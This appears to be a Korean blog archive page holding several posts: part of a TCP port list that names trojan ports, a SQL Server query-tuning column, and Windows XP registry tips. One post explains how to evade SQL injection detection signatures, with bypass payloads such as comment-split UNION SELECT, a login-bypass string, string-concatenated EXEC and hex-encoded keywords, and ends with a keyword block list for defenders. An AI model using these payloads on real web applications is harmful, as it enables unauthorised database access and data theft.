TCP  31791  Hack-A-Tack (Windows Trojan)
TCP  32000  XtraMail v1.11
TCP  32768  Filenet TMS
TCP  32769  Filenet RPC
TCP  32770  Filenet NCH
TCP  32771  Solaris RPC
TCP  32772  Solaris RPC
TCP  32773  Solaris RPC
TCP  32774  Solaris RPC
TCP  32775  Solaris RPC
TCP  32776  Solaris RPC
TCP  32777  Solaris RPC
TCP  32780  RPC
TCP  33434  traceroute use
TCP  34324  Big Gluck (Windows Trojan)
TCP  36865  KastenX Pipe
TCP  40421  Master's Paradise (Windows Trojan)
TCP  40422  Master's Paradise (Windows Trojan)
TCP  40423  Master's Paradise (Windows Trojan)
TCP  40426  Master's Paradise (Windows Trojan)
TCP  40841  CSCP
TCP  42424  ASP.NET Session State
TCP  43118  Reachout
TCP  43188  Reachout
TCP  44333  Kerio WinRoute Firewall Administration
TCP  44334  Kerio Personal Firewall Administration
TCP  44337  Kerio MailServer Administration
TCP  44444  Prosiak
TCP  44818  Rockwell Encapsulation
TCP  45092  BackGate (Windows rootkit)
TCP  45678  EBA PRISE
TCP  45966  SSRServerMgr
TCP  47262  Delta Source (Windows Trojan)
TCP  47557  Databeam Corporation
TCP  47624  Direct Play Server
TCP  47806  ALC Protocol
TCP  47808  Building Automation and Control Networks
TCP  48000  Nimbus Controller
TCP  48001  Nimbus Spooler
TCP  48002  Nimbus Hub
TCP  48003  Nimbus Gateway
TCP  49400  Compaq Insight Manager
TCP  49401  Compaq Insight Manager
TCP  50300  O&O Defrag
TCP  51515  Microsoft Operations Manager MOM-Clear
TCP  52673  Stickies
TCP  54283  SubSeven
TCP  54320  Orifice 2000 (TCP)
TCP  54321  Orifice 2000 (TCP)
TCP  60000  DeepThroat
TCP  65000  distributed attack tool / Devil (Windows Trojan)
TCP  65301  pcAnywhere-def
TCP  65506  PhatBot, Agobot, Gaobot (Windows trojans)
Posted by 1010
98..Etc/Security2008. 7. 24. 12:03
반응형
용 프로그램이 더 빠르게 실행되도록 하기 위해서는 여기 저기를 조금씩 손보기만 하면 됩니다. 문제는 어떻게 손보는가에 있죠! 조만간 응용 프로그램의 SQL 쿼리가 여러분이 의도한 방식대로 응답하지 않는 상황에 직면하게 될 것입니다. 원하는 데이터를 반환하지 않거나 아니면 너무 길어서 적합하지 않습니다. SQL이 보고서나 엔터프라이즈 응용 프로그램의 속도를 떨어뜨려 엄청난 시간 동안 기다려야 하는 상황이 발생하면 사용자는 그리 즐거울 수 없을 것입니다. 부모님이 자녀가 귀가 시간을 어긴 이유를 듣고 싶어하지 않듯 사용자 역시 쿼리가 그렇게 오래 걸리는 이유를 알고 싶어하지 않습니다. (“엄마, 죄송해요. LEFT JOIN을 너무 많이 사용했네요.”) 사용자는 응용 프로그램이 신속히 응답하고 보고서가 분석 데이터를 즉시 반환하기를 원합니다. 저 역시도 웹 서핑 중 한 페이지를 로드하는데 10초(사실 5초 정도) 이상이 걸리면 참을 수가 없어집니다.
이러한 문제를 해결하기 위해서는 그 문제의 원인을 찾아 내는 것이 중요합니다. 그렇다면 어디부터 시작해야 할까요? 문제의 원인은 일반적으로 데이터베이스 디자인과 그 데이터베이스를 액세스하는 쿼리에 있습니다. 이번 달 컬럼에서는 SQL Server 기반 응용 프로그램의 성능이나 확장성을 향상시키는데 사용할 수 있는 네 가지 테크닉을 살펴 보겠습니다. 그리고 LEFT JOIN과 CROSS JOIN 사용 및 IDENTITY 값 검색도 살펴 보겠습니다. 마술같은 해결책은 없다는 것을 기억하십시오. 데이터베이스와 쿼리를 조정하려면 시간이 걸리고 분석과 함께 수차례의 테스팅이 필요합니다. 여기 제시된 테크닉은 증명이 된 것이지만 사용자 응용 프로그램에 따라 더 잘 실행되는 테크닉과 그렇지 않은 테크닉이 있을 수 있습니다.

INSERT에서 IDENTITY 반환 T
가장 궁금한 문제 즉, SQL INSERT를 실행한 후 어떻게 IDENTITY 값을 검색하는지부터 살펴 보겠습니다. 문제는, 그 값을 검색하는 쿼리를 어떻게 작성하는지가 아니라 언제 어디서 작성하는가 입니다. SQL Server에서, 활성 데이터베이스 연결에서 가장 최신 SQL 문 실행에 의해 만들어진 IDENTITY 값을 검색하는 문은 다음과 같습니다.
SELECT @@IDENTITY 
이 SQL은 강력하지가 않으므로 가장 최근의 SQL 문이 INSERT가 아니거나 INSERT SQL이 아닌 다른 연결에 대해 이 SQL을 실행한다면 예상하는 값을 얻지 못할 것이라는 사실을 명심해야 합니다. IDENTITY를 검색하려면 다음과 같이 INSERT SQL 직후에 동일한 연결에서 이 코드를 실행해야 합니다.
INSERT INTO Products (ProductName) VALUES ('Chalk')  SELECT @@IDENTITY 
단일 연결에서 Northwind 데이터베이스에 대해 이러한 쿼리를 실행하면 Chalk라는 신제품에 대한 IDENTITY 값이 반환될 것입니다. 따라서 ADO를 사용하는 Visual Basic 응용 프로그램에서 다음 명령문을 실행할 수 있습니다.
Set oRs = oCn.Execute("SET NOCOUNT ON;INSERT INTO Products _ (ProductName) VALUES ('Chalk');SELECT @@IDENTITY")  lProductID = oRs(0) 
이 코드는 그 쿼리에 대한 행 카운트를 반환하지 않도록 SQL Server에 알리고 INSERT 문을 실행하며 그 새 행에 대해 만들어진 IDENTITY 값을 반환합니다. SET NOCOUNT ON 문은 반환된 Recordset에 새 IDENTITY 값이 들어 있는 한 행과 열이 있다는 것을 뜻합니다. 이 문이 없으면 (INSERT 문이 데이터를 반환하지 않으므로) 빈 Recorset가 반환되며 그 다음 반환되는 두 번째 Recordset에 IDENTITY 값이 들어 있습니다. 따라서 INSERT가 Recordset를 반환하도록 할 생각이 아니었던 경우에는 특히나 당황스러울 수 있습니다. 이러한 상황은, SQL Server는 행 카운트(즉, 영향을 받는 행)를 확인하고 그 카운트를 Recordset 표시로 해석하기 때문에 발생합니다. 따라서 올바른 데이터는 두 번째 Recordset로 밀려납니다. ADO에서 NextRecordset 메서드를 사용하면 이 두 번째 Recordset를 확인할 수 있지만 이 Recordset이 반환되는 첫 번째이자 유일한 값이라면 훨씬 쉽고 효율적일 것입니다.
이 테크닉이 작업을 실행하긴 하지만 SQL 문에 추가 코드가 필요합니다. 동일한 결과를 얻을 수 있는 또 다른 방법은 다음 코드에서 볼 수 있는 것처럼 INSERT 앞에 SET NOCOUNT ON 문을 사용하고 그 테이블의 FOR INSERT 트리거에 SELECT @@IDENTITY 문을 넣는 것입니다. 이렇게 하면 그 테이블에 대한 어떤 INSERT 문이나 자동으로 IDENTITY 값을 반환하게 됩니다.
CREATE TRIGGER trProducts_Insert ON Products FOR INSERT AS      SELECT @@IDENTITY  GO 
이 트리거는 Product 테이블에 INSERT가 실행될 때만 발생하므로 성공적인 INSERT 후에는 언제나 IDENTITY를 반환합니다. 이 테크닉을 사용하면 응용 프로그램 내 어디서나 동일한 방식으로 IDENTITY 값을 검색할 수 있습니다.

인라인 값 VS. 임시 테이블
종종 쿼리는 GROUP BY 후 표준 쿼리를 실행해야만 수집할 수 있는 다른 데이터에 데이터를 조인해야 하는 경우가 있습니다. 예를 들어 가장 최근 주문 5건에 대한 정보를 반환하고 싶다면 먼저 그 최근 주문 5건이 무엇인지부터 알아야 합니다. 이 주문은 주문 ID를 반환하는 SQL 쿼리를 사용하면 검색할 수 있습니다. 이 데이터는 임시 테이블에 저장될 수 있으며 그런 다음 Product 테이블로 조인되어 그 주문에 대해 판매된 제품 수량을 반환합니다.
CREATE TABLE #Temp1 (OrderID INT NOT NULL, _                      OrderDate DATETIME NOT NULL)  INSERT INTO #Temp1 (OrderID, OrderDate) SELECT     TOP 5 o.OrderID, o.OrderDate FROM Orders o ORDER BY o.OrderDate DESC  SELECT     p.ProductName, SUM(od.Quantity) AS ProductQuantity FROM     #Temp1 t      INNER JOIN [Order Details] od ON t.OrderID = od.OrderID     INNER JOIN Products p ON od.ProductID = p.ProductID  GROUP BY p.ProductName ORDER BY p.ProductName  DROP TABLE #Temp1 
이 SQL 일괄 처리는 임시 테이블을 만들어 그 테이블에 데이터를 입력하고 다른 데이터를 조인한 다음 그 임시 테이블을 삭제합니다. 이 쿼리는 I/O가 많으므로 임시 테이블 대신 인라인 뷰를 사용하도록 다시 작성할 수 있습니다. 인라인 뷰는 간단하게 말하면 FROM 절에서 조인될 수 있는 쿼리입니다. 따라서 임시 테이블의 tempdb에서 많은 I/O 와 디스크 액세스를 허비하는 대신 인라인 뷰를 사용해서도 동일한 결과를 얻을 수 있습니다.
SELECT p.ProductName,      SUM(od.Quantity) AS ProductQuantity FROM     (     SELECT TOP 5 o.OrderID, o.OrderDate     FROM     Orders o      ORDER BY o.OrderDate DESC     ) t      INNER JOIN [Order Details] od ON t.OrderID = od.OrderID     INNER JOIN Products p ON od.ProductID = p.ProductID  GROUP BY     p.ProductName ORDER BY     p.ProductName 
이 쿼리는 이전 쿼리보다 효율적일 뿐만 아니라 더 짧습니다. 임시 테이블은 많은 리소스를 소비합니다. 따라서 데이터를 다른 쿼리에 조인시키기만 하면 되는 경우에는 인라인 뷰를 사용하여 리소스를 보존하는 방법을 시도해 보는 것이 좋을 것입니다.

LEFT JOIN과 NULL 피하기
물론, LEFT JOIN을 실행하고 NULL 값을 사용해야 할 때가 있습니다. 하지만 모든 경우에 항상 그래야 하는 것은 아닙니다. SQL 쿼리를 구성하는 방식을 변경하면 실행 시간이 몇 분이 걸리는 보고서를 단 몇 초 만에 실행되는 보고서로 만들 수 있습니다. 그리고 응용 프로그램이 원하는 방식으로 쿼리의 데이터를 변경해야 하는 경우도 종종 있습니다. TABLE 데이터 형식은 리소스 사용량을 줄여주지만 쿼리에는 최적화할 수 있는 부분이 여전히 많이 남아 있습니다. SQL에서 일반적으로 사용되는 아주 유용한 기능은 LEFT JOIN입니다. 이 기능은 첫 번째 테이블의 모든 행과 두 번째 테이블의 일치하는 모든 행, 그리고 첫 번째 테이블의 행과 일치하지 않는 두 번째 테이블의 모든 행을 검색하는데 사용할 수 있습니다. 예를 들어 모든 Customer와 그 주문을 반환하고 싶다면 LEFT JOIN은 주문을 한 Customer와 주문을 하지 않은 Customer를 표시할 것입니다.
이 도구는 지나치게 남용될 수 있습니다. LEFT JOIN은 NULL(존재하지 않음) 데이터에 대해 데이터를 일치시키는 작업을 하므로 부담이 큽니다. 이 실행을 피할 수 없는 경우도 있지만 그럴 경우 부담이 커집니다. LEFT JOIN은 INNER JOIN보다 부담이 더 크므로 LEFT JOIN을 사용하지 않도록 쿼리를 다시 작성할 수 있다면 부담이 크게 줄어들 수 있습니다(그림 1의 다이어그램 참조).

그림 1 쿼리
그림 1 쿼리

LEFT JOIN을 사용하는 쿼리의 속도를 높이기 위해서는 TABLE 데이터 형식을 만들고 첫 번째 테이블(LEFT JOIN의 왼쪽에 있는 테이블)에서 모든 행을 삽입한 다음 두 번째 테이블의 값을 사용하여 그 TABLE 데이터 형식을 업데이트합니다. 이 테크닉은 2단계 프로세스이지만 표준 LEFT JOIN과 비교하면 시간을 크게 줄일 수 있습니다. 자신의 응용 프로그램에 맞는 최고 성능의 쿼리를 얻을 때까지 각각에 대해 서로 다른 테크닉을 시도하여 시간을 측정해 보는 것이 좋습니다.
쿼리 속도를 테스트할 때는 여러 번 실행해서 평균을 구하는 것이 좋습니다. 쿼리(또는 저장 프로시저)는 SQL Server 메모리의 프로시저 캐시에 저장될 수 있으므로 처음에는 더 오래 걸리지만 계속 시도할수록 점점 더 짧아집니다. 이 외에도 쿼리 실행 중 동일한 테이블에 대해 다른 쿼리가 실행되고 있을 수도 있습니다. 그렇게 되면 다른 쿼리가 테이블을 잠궜다가 해제하는 동안 사용자의 쿼리는 기다려야 할 수도 있습니다. 예를 들어 다른 사람이 테이블의 데이터를 업데이트하는 동안 그 테이블에 대해 쿼리를 실행하면 그 업데이트가 실행되는 동안에는 쿼리 실행에 더 많은 시간이 걸릴 수 있습니다.
LEFT JOIN으로 인한 감속을 피할 수 있는 가장 쉬운 방법은 가능한 한 많이 LEFT JOIN을 중심으로 데이터베이스를 디자인하는 것입니다. 예를 들어, 한 제품에 카테고리가 있을 수도 있고 없을 수도 있다고 가정해 봅시다. 제품 테이블에 그 카테고리의 ID가 저장되어 있는데 특정 제품에 대한 카테고리가 존재하지 않는다면 그 필드에는 NULL 값을 저장할 수 있습니다. 그런 다음 LEFT JOIN을 실행하여 모든 제품과 그 카테고리를 얻습니다. “No Category” 값을 가진 카테고리를 만들 수 있으므로 NULL 값을 허용하지 않도록 외래 키 관계를 지정합니다. 이렇게 하면 이제 INNER JOIN을 사용하여 모든 제품과 그 카테고리를 검색할 수 있습니다. 추가 데이터로 인해 작업이 더 많아진 것처럼 보일 수도 있지만 SQL 일괄 처리에서 부담이 큰 LEFT JOIN을 제거할 수 있으므로 아주 유용한 테크닉입니다. 데이터베이스의 보드 전체에 이 개념을 사용하면 처리 시간이 크게 줄어듭니다. 불과 몇 초도 사용자에게는 많은 것을 의미하며 온라인 데이터베이스 응용 프로그램을 액세스하는 사용자가 많을 경우 이 시간은 더욱 길어진다는 것을 기억하십시오.

Cartesian 제품을 현명하게 사용하기
이 팁의 경우에는 일반적인 의견과 달리, 특정한 경우 Cartesian 제품을 사용하도록 주장합니다. Cartesian 제품(CROSS JOIN)은 많은 비난을 받았으며 개발자들은 종종 이 제품을 절대 사용하지 말 것을 권고 받습니다. 많은 경우 이 제품은 부담이 너무 커서 효과적이지 않습니다. 하지만 SQL의 여느 도구와 마찬가지로 이 도구 역시 적절히 사용하기만 하면 유용합니다. 예를 들어, 그 달에는 주문을 하지 않은 고객에 대해서조차 매달 데이터를 반환할 쿼리를 실행하고 싶다면 Cartesian 제품이 아주 편리할 것입니다. 그림 2 (영문)의 SQL이 바로 그렇습니다.
이 방법이 마법처럼 여겨지지는 않겠지만 Customer에서 Orders로의 표준 INNER JOIN을 실행하여 월별로 묶고 판매를 요약하면 해당 고객이 주문을 한 월만을 반환 받게 된다는 점을 생각해 보십시오. 그렇게 되면 고객이 제품을 주문하지 않은 달에 대해서는 0 값을 반환 받지 못합니다. 월별 판매가 표시된 고객별 그래프를 만들려고 한다면 시각적으로 식별할 수 있도록 월 판매가 0인 달도 포함된 그래프를 그리고 싶을 것입니다. 그림 2 (영문)의 SQL을 사용하면 Order 테이블에 비판매 관련 행이 없으므로 이 데이터는 판매 금액이 0인 달은 건너뜁니다(발생하지 않은 것은 저장하지 않는 것으로 가정됩니다).
그림 3 (영문)의 코드는 더 길지만, 판매가 없는 달에 대해서도 모든 판매 데이터를 받는다는 목표를 달성할 수 있습니다. 먼저, 지난 해 모든 달의 목록을 받아서 첫 번째 TABLE 데이터 형식 테이블(@tblMonths)에 넣습니다. 그러면 이 코드는 그 기간 동안 판매를 한 모든 고객의 회사명 목록을 받아 또 다른 TABLE 데이터 형식 테이블(@tblCus-tomers)에 넣습니다. 이 두 테이블은 실제 판매 수치를 제외하고는 결과 집합을 만드는데 필요한 기본 데이터를 모두 저장합니다.
첫 번째 테이블에는 모든 달(12행)이 표시되며 그 기간 동안 판매를 한 모든 고객은 두 번째 테이블(81)에 표시됩니다. 모든 고객이 지난 12달 동안 매달 제품을 구입하지는 않았으므로 INNER 또는 LEFT JOIN을 실행하면 매달 모든 고객을 반환하지는 않으며 고객이 뭔가를 구입한 달과 그 고객만을 반환합니다.
Cartesian 제품은 모든 달에 대해 모든 고객을 반환할 수 있습니다. Cartesian 제품은 기본적으로 첫 번째 테이블에 두 번째 테이블을 곱하므로 첫 번째 테이블의 행 수 곱하기 두 번째 테이블의 행수가 들어 있는 행 집합이 만들어 집니다. 따라서 Cartesian 제품은 @tblFinal 테이블에 972행을 반환합니다. 마지막 단계는 이 날짜 범위동안 개별 고객에 대한 월간 총 판매량을 사용해 @tblFinal 테이블을 업데이트하고 최종 행 집합을 선택하는 것입니다.
Cartesian 제품은 리소스 집약적이므로 진짜 이 제품이 필요한 것이 아니라면 CROSS JOIN을 주의해서 사용하는 것이 좋습니다. 예를 들어, 제품과 카테고리에 CROSS JOIN을 실행한 다음 WHERE 절, DISTINCT 또는 GROUP BY를 사용하여 대부분의 행을 필터링하는 경우 INNER JOIN을 사용하면 훨씬 효과적인 방식으로 동일한 결과를 얻을 수 있습니다. 월간 판매일이 표시된 그래프를 로드하고자 하는 경우처럼 모든 가능성에 대해 데이터가 반환되기를 원하는 경우 Cartesian 제품은 아주 유용할 수 있습니다. 하지만 대부분의 경우 INNER JOIN이 훨씬 더 효율적이므로 다른 용도로는 사용하지 말아야 합니다.

기타
다음은 SQL 쿼리의 효율성을 높이는데 도움이 될 수 있는 다른 몇몇 일반적인 테크닉입니다. 모든 판매 담당자를 지역별로 묶은 다음 그 판매액을 집계하려고 한다고 가정합니다. 단, 데이터베이스에서 활성으로 표시된 판매 담당자만을 원한다고 합니다. 이 판매 담당자를 지역별로 묶은 다음 HAVING 절이나 WHERE 절을 사용하여 활성 상태가 아닌 판매 담당자를 제거할 수 있습니다. WHERE 절에서 이 작업을 하면 그룹화해야 하는 행의 수가 줄어들므로 HAVING 절을 사용하는 것보다 훨씬 효과적입니다. HAVING 절에서 행 기반 기준을 필터링하면 이 쿼리는 WHERE 절에서 제거되었을 데이터를 그룹화합니다.
효율성을 높이기 위한 또 다른 트릭은 GROUP BY 절을 사용하는 대신 DISTINCT 키워드를 사용하여 고유한 데이터 행 목록을 찾아내는 것입니다. 이 경우 DISTINCT 키워드를 사용하는 SQL이 더 효과적입니다. GROUP BY는 집계 함수 (SUM, COUNT, MAX 등)를 계산해야 하는 경우를 위해 남겨 두십시오. 이 외에도, 쿼리가 항상 고유한 행을 반환하는 경우에는 IDSTINCT 키워드를 사용하지 마십시오. 이러한 경우 DISTINCT 키워드는 오버헤드만 가중시킬 뿐입니다.
다양한 테크닉을 사용하여 쿼리를 최적화하고 특정한 비즈니스 규칙을 구현할 수 있다는 것을 보았습니다. 문제는 몇몇 테크닉을 시도하여 그 성능을 비교해 보아야 한다는 것입니다. 가장 중요한 것은 테스트를 하고 또 해야 한다는 것입니다. 이 컬럼의 다음 호에서는 데이터베이스 디자인, 우수한 인덱싱 실행 기준, 그리고 SQL Server 보안 패러다임을 포함한 SQL Server 개념을 살펴 보겠습니다.

Johnny에게 질문이나 의견 있으시면 mmdata@microsoft.com으로 메일을 보내십시오.
Posted by 1010
98..Etc/Security2008. 7. 24. 12:03
반응형
[보안] SQL 탐지 우회기법
새삼스럽게 최근의 나온 것은 아니지만, 활용여부에 따라 테크닉에 상당한 도움이 될 것 같아 올려봅니다. 요즘 다시 DBMS 공부해보는데 참 재밌네요.(IMPERVA 문서를 많이 참고했습니다.)

SQL Injection Signatures Evasion
     
1. 이 문서에 대한 요약

URL Request에 arbitrary string(악의적인 문자열)을 삽입시키는 일반적인 형태는 다음과 같이 이루어 집니다. 웹 애플리케이션의 사용자 입력값을 받는 모든 폼, 검색창 형태들이 이에 해당됩니다. 아래의 예처럼 변수의 변수값에 직접적으로 삽입이 이루어진다.

예) 만약에 시스템에 string 필드 값이 존재하지 않는 경우에는 새로운 파라메터에 간단히 추가할 수 있다.(이런 경우 일부 웹 애플리케이션은 이를 차단하거나 무시함)

....$id=43&testparam=malicious code

SQL Injection이 탐지가 되는 경우에 SQL Comment 문자열(/* */)에 대한 signature가 존재하지 않을 때, 이럴 경우 간단히 injection시킬 수 있다.

....$dbid=original’ --

또 다른 테크닉 기법으로는 SQL Injection 취약점이 탐지되고, AND 키워드에 대한 Signature가 존재하지 않을 때 패턴은 다음과 같이 된다.

....$dbid=original’ AND ‘100’=’100’

대부분의 웹 사이트에서 이러한 취약점들을 가지고 있다. 이런 키워드 탐색을 통해서 SQL Injection의 가능성 여부를 알아볼 수 있다.
두번째 단계로 SQL 구문을 통한 공격이 이루어지 질 수 있는데, 아래와 같은 SQL 구문을 통해 필터링여부를 조사하게 된다.

- UNION SELECT
- OR 1=1
- exec sp_  또는 xp_  로 시작되는 스토어 프로시저(확장 스토어 프로시저)
- declare @s out
     
2. 일반적인 회피기법(Common Evasion Techniques)

1) Different Encoding : 다양한 인코딩 방식을 사용한 Evasion 기법
2) White Space 다양성(Diversity) : 일반적으로 SQL Injection 공격을 회피하기 위해 둘 이상의 스페이스 문자를 삽입시키는 경우 White Space에 의해 분리된다. 즉, 여러 개의 스페이스문자가 삽입되더라도 한번의 스페이스로 대체될 필요가 있다.

3) IP Fragmentation 및 TCP Segmentation
몇몇 Product에서는 TCP/IP 프레그먼트에 대한 취약점은 여전히 존재하고 있다.

3. Advanced 회피기법(Advancesd Evasion Techniques)

3.1 OR 1=1 Signature 기법
가장 일반적으로 사용되는 공격, 보통 탐지 Signature는 정규표현식으로 구성되어있다. 그러나 교묘한 방법을 사용하는 다양한 형태의 공격이 가능하다.

   - OR  ‘unusual’ = ‘unusual’

간단한 트릭을 쓰면 다음과 같이 ‘N’ 문자나 ‘+’를 삽입해 보는 경우이다. 이런 방식을 이용하면 간단히 Signature 기반의 탐지 메커니즘을 쉽게 우회할 수 있다. 광범위하고 다양한 정규표현식을 필터링을 하는 제품의 경우에는 이런 공격을 차단할 수 있다.

   - OR  ‘Simple’ = N’Simple’
   - OR  ‘Simple’ = ‘Sim’+’ple’
- OR  ‘Simple’  LIKE ‘Sim%’

또는 ‘<’, ‘>’ 를 사용하기도 한다.

  - OR  ‘Simple’ > ‘S’
  - OR  ‘Simple’ < ‘X’
  - OR 2 > 1

IN 또는 BETWEEN 구문을 사용하는 경우도 있다.(MS SQL 구문에서 유효함)

- OR  ‘Simple’  IN (‘Simple’)
- OR  ‘Simple’  BETWEEN ‘R’ AND ‘T’
(후자는 MS SQL에서만 유효하지만, 대부분의 DB에서도 간단하게 수정하는 것이 가능하 것으로 본다)  그러나 OR 키워드 형태로 Signature 했을 경우 발생가능한 오탐(false positive)의 경우도 있다.

  http://site/ordier.asp?ProdID=5&Quantity=4

3.2 White Spaces Evading Signature
  White space(스페이스 문자)가 포함된 공격에서의 Signature에 대한 정확도가 문제가 발생할 가능
  성을 염두에 둘 필요가 있다.
  단순히 ‘UNION SELECT’ 나 ‘EXEC SP_(XP_ )’ 형태의 탐지 패턴은 높은 정확성을 보일 수 있다.
  예를 들면 MS SQL 서버에서는 SQL 키워드 또는 number나 string 사이에 스페이스 문자는 생략될
  수 있어 아주 쉽게 Evasion이 허용될 수 있다.

..origText’  OR  ‘Simple’ = ’Simple’ 이 다음처럼 될 수 있다.
..origText’OR’Simple’=’Simple’

그러나 이런 공격은 UNION SELECT Statement 구문에서는 동작하지 않는다. 왜냐하면 두 키워드 사이는 반드시 분리되어야 하기 때문이다. 따라서 스페이스문자 보다는 C 언어의 Comment syntax를 이용하면 evasion이 가능할 수도 있다.(/*  … */ 이런 형태)

select *
from tblProducts   /* List of Prods */
where ProdID = 5

C-Like comment 형태의 공격은 다음과 같다. 실제로 comment 부분을 나타내는 ‘/**/’이 스페이스 문자로 대체된다.

....&ProdID=2  UNION  /**/  SELECT  name ....
....&ProdID=2/**/UNION/**/SELECT/**/name ....
....&origText’/**/OR/**/’Simple’=’Simple’

http://site/login.asp?User=X&Pass=Y

....login.asp?User=X’OR’1’1/* &Pass=Y*/=’1

실제 SQL 쿼리 구성은 다음과 같다

  Select * from Users where User=’X’OR’1’/* AND Pass=’*/=’1’

3.3 Evading Any String Pattern
  단독 키워드의 경우에는 false positive가 발생한다. 같은 Comment 형태로 MySQL에서는 다음과
  같은 형태로 공격에 사용될 수 있다.

     ....UN/**/ION/**/SE/**/LECT/**/  ....

  MS SQL에서 스토어 프로시저를 실행시키는 EXEC를 아래와 같은 형태로 공격을 할 수 있다.  
  INSERT INTO를 두부분으로 분리하여 Injection 시킨다. 이럴 경우 Signature 메커니즘에서 탐지가
  안된다.
  또한 이와 유사한 공격으로 MS SQL에서는 SP_EXECUTESQL 라는 확장 스토어 프로시저를 사용
  한다. 그러나 새로운 버전에서는 SP_SQLEXEC 프로시저로 이름이 변경되었다. 이들 모두 SQL 쿼
  리를 실행시킬 수 있다. 참고로 Oracle에서는 ‘EXECUTE IMMEDIATE’가 이와 동일한 기능을 수행
  한다.

     ....; EXEC (‘INS’+’ERT INTO....’)

한가지 주목할 점이 MS SQL에서 헥사코드로 인코딩된 스트링이 실행된다는 것이다. 이 방식대로 한다면 ‘SELECT’는 헥사코드 번호 0x73656C656374로 표현이 되고 탐지가 되지 않는다.
또 한가지 다른 예는 MS SQL 서버에서 OPENROWSET 구문과 관련된 것이다. 가장 널리 알려지고 오랜된 이 기법이 아직도 유효하게 사용되는 곳이 많이 존재하고 있고, 대부부의 Signature 기반의 제품들에서는 탐지를 못하는 경우가 발생하고 있다. 그리고 MS SQL 서버에서 SQL 쿼리를 실행시킬 수 있는 Unlisted 스토어 프로시저가 존재하고 있다.
sp_prepare, sp_execute 이 프로시저는 MS SQL 서버 어디에도 나타나지 않는다. 따라서 이들 프로시저를 이용한 공격은 탐지가 안될 가능성이 있다. 다른 DB에도 이와 유사하게 Undocument 프로시저가 있을 수 있다. Undocument 프로시저를 이용한 공격이 현재로서는 충분히 가능성 있어 보인다.

4. 결론

1) 모든 SQL 구문에 사용되는 문자열에 대한 탐지가 필요한데 이때 약간의 인공지능식 검색이 필요할 듯 싶다.(검색 조건의 AND와 OR 조건에 따른 오탐의 여부가 많은 것이 단점이다.)
(INSERT, INTO, UNION, SELECT, DELETE, UPDATE, CREATE, FROM, WHERE, OR, AND, LIKE, SQL, ROWSET, OPEN, BEGIN, END, DECLARE)

2) 모든 스토어 프로시저의 탐지 및 차단(실제 서비스에서는 프로시저를 써야하는 곳이 많아서 이부분은 적극적인 권장사항은 아니지만 가급적 최소화하는데 목적을 두고 싶다)
(EXEC, SP_, XP_ )

3) 모든 메타문자 차단
  (;  --  +  ‘  (  )  =  >  <  @  *)
Posted by 1010
98..Etc/Etc...2008. 7. 24. 11:54
반응형

윈도우의 Registry변경 60가지팁

윈도우의 숨겨논 60가지팁

1. 여러 파일 이름을 한꺼번에 바꾸자
윈도우즈 XP는 여러 개의 파일 이름을 한꺼번에 바꾸는 재주가 있다. 파일 형식이 서로 달라도 같은 이름을 붙일 수 있다.
이름을 바꿀 파일을 모두 고르고 마우스 오른쪽 버튼을 누른 다음 ‘이름 바꾸기’를 고른다.
윈도우즈 XP에서 여러 개의 파일 이름을 바꿀 때는 첫 번째 파일에 이름만 쓴다. 예를 들어 ‘PC사랑’이라고 하면 첫 번째 파일은 ‘PC사랑’이 되고 나머지 파일들은 ‘PC사랑 (1)’ ‘PC사랑 (2)’ 등으로 바뀐다. 만약 첫 번째 파일 이름을 ‘PC사랑 (10)’이라고 하면 그 다음부터는 ‘PC사랑 (11)’ ‘PC사랑 (12)’이 된다.


새 이름을 쓰고 엔터 키를 누른 다음 이름을 바꾼 파일 다음에 있는 것들은 새 이름 뒤에 1부터 숫자가 붙는다.

2. 갑자기 재 부팅 되는 윈도우즈 XP 때려잡기
윈도우즈 XP는 너무 민감한(?) 나머지 프로그램에 조그만 오류가 생기면 저절로 재 부팅 된다. 물론 그 오류가 심각할 때도 있지만 별 문제가 되지 않는 데도 PC를 재 부팅해서 이용자를 귀찮게 한다. 프로그램에 오류가 있어도 시스템이 재 부팅 되지 않게 해보자.
바탕화면의 ‘내 컴퓨터’ 아이콘을 마우스 오른쪽 버튼으로 누르고 ‘속성’을 고른 다음 ‘시스템 등록정보’ 창의 ‘고급’ 탭에서 ‘시작 및 복구’ 칸의 ‘설정’ 버튼을 누른다.
‘시스템 오류’ 칸에 있는 ‘자동으로 다시 시작’의 체크 표시를 없애고 ‘확인’ 버튼을 누른다.

이제 윈도우즈 XP가 제멋대로 꺼지지 않는다.

3. 오류 보고 창 나타나지 않게 하기
윈도우즈 XP부터는 프로그램들이 에러를 일으켰을 때 그에 대한 자세한 사항을 마이크로소프트사로 보고한다. 이런 오류를 매번 보고하는 것도 지겹고, 보고해도 해결되지 않으므로 오류 보고 창이 뜨지 않게 해보자.
시작 → 제어판 → 성능 및 유지 관리 → 시스템으로 간 뒤 시스템 등록정보 창이 뜨면 ‘고급’ 탭에서 아래에 있는 ‘오류 보고’ 단추를 누른다. 오류 보고 대화 상자에서 ‘오류 보고 사용 안 함’을 고르고 ‘확인’ 버튼을 누른다.

4. 성인광고 나가 있어~
성인광고 사이트도 아닌데 자꾸 성인광고가 뜬다. 한두 개 정도야 바로 닫아버리면 그만이지만 여러 개의 창이 마구 쏟아져 나오면 윈도우즈 XP가 먹통이 되기도 한다. 성인광고를 막아주는 프로그램이 있지만, 괜히 하드디스크 용량만 차지하므로 윈도우즈 XP 자체에서 해결하자.
인터넷 익스플로러 메뉴에서 도구 → 인터넷 옵션을 고른 다음 ‘일반’ 탭의 임시 인터넷 파일 항목에 있는 ‘설정’ 단추를 누른다. ‘설정’ 창이 뜨면 ‘개체보기’를 누른다.
탐색기가 뜨면서 파일 이름이 나온다. 이 중에서 sender control이라는 파일을 찾아서 지우면 성인광고 사이트가 뜨지 않는다.

‘개체보기’를 누르면 내 PC에 깔려있는 개체들이 보인다.

5. 내 컴퓨터에서 ‘공유 문서’ 없애기
윈도우즈 XP에는 여러 이용자가 같이 쓸 수 있는 공유 문서가 있다. 공유 문서에는 공유 그림, 공유 음악이 있는데 집에서 혼자 쓰는 사람에게는 필요 없다. 용량만 차지하는 공유 문서를 지워보자.
시작 → 실행 → regedit 라고 누르면 레지스트리 편집기를 띄운 다음,
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders에 있는
{59031a47-3f72-44a7-89c5-5595fe6b30ee}를 찾아 지운다.

이 레지스트리를 지우면 공유 문서가 보이지 않는다.

6. ‘시작’에서 문서메뉴 지우기
문서 메뉴가 있으면 작업 했던 문서를 쉽게 불러올 수 있지만, 길게 늘어져 있어 지저분하다. 문서 메뉴를 잘 쓰지 않는다면 깔끔하게 지우자.
